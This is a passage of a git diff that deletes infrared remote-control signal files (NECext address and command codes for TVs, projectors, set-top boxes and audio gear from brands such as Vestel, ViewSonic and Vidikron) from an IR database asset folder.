00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 97 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 98 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C5 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C7 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CE 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir deleted file mode 100644 index a075f70d6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: p/c -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: backto -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: bash -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: b+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: b- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: a+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: a- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: c+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: c- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: memo -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: pr -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_H -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_3next -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir deleted file mode 100644 index 84f129f70..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir deleted file mode 100644 index d67ea1167..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 45 00 00 -command: 80 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 45 00 00 -command: 85 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 00 45 00 00 -command: 86 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 45 00 00 -command: 87 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 45 00 00 -command: C4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir deleted file mode 100644 index 2466f0a72..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 81 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 82 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 83 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 84 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 85 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 87 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 88 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 89 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 8A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 8B 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 8C 00 00 00 -# -name: KEY_DOT -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 8E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 92 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 96 00 00 00 -# -name: Signal -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 98 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 9A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 9B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 9C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: 9F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: C8 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: C9 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: CA 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: CB 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: D4 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: FE 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 42 BB 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir deleted file mode 100644 index 9584f3026..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 01 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 09 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 11 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 19 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 81 81 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir deleted file mode 100644 index f83e51926..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: VOL_p -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOL+m -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: PlP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: i-ii -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_H -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: feature -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: install -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_Y -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_X -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir deleted file mode 100644 index 70c7878ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 41 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir deleted file mode 100644 index d94d8efa9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: COLOUR_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: COLOUR_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: BALANCE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: BALANCE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CONTRAST+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: TEST_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: SL/TIM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: ENHANCE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: ENHANCE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: STORE_MEMORY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: TEST_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir deleted file mode 100644 index c6a22cf2d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 13 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 25 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 26 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 27 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 28 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 29 00 00 00 -# -name: pre-ch -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 2A 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 2B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 2C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 30 00 00 00 -# -name: scart -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 31 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 32 00 00 00 -# -name: dtvmenu -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 33 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 34 00 00 00 -# -name: mix -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 35 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 36 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 37 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 40 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 45 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 46 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 47 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 49 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 70 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 71 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 72 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 73 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 74 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 79 00 00 00 -# -name: size -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 86 00 00 00 -# -name: reveal -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 87 00 00 00 -# -name: hold -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 88 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir deleted file mode 100644 index 1a1fa7986..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 0C 00 00 00 -# -name: KEY_0/- -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 F1 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP 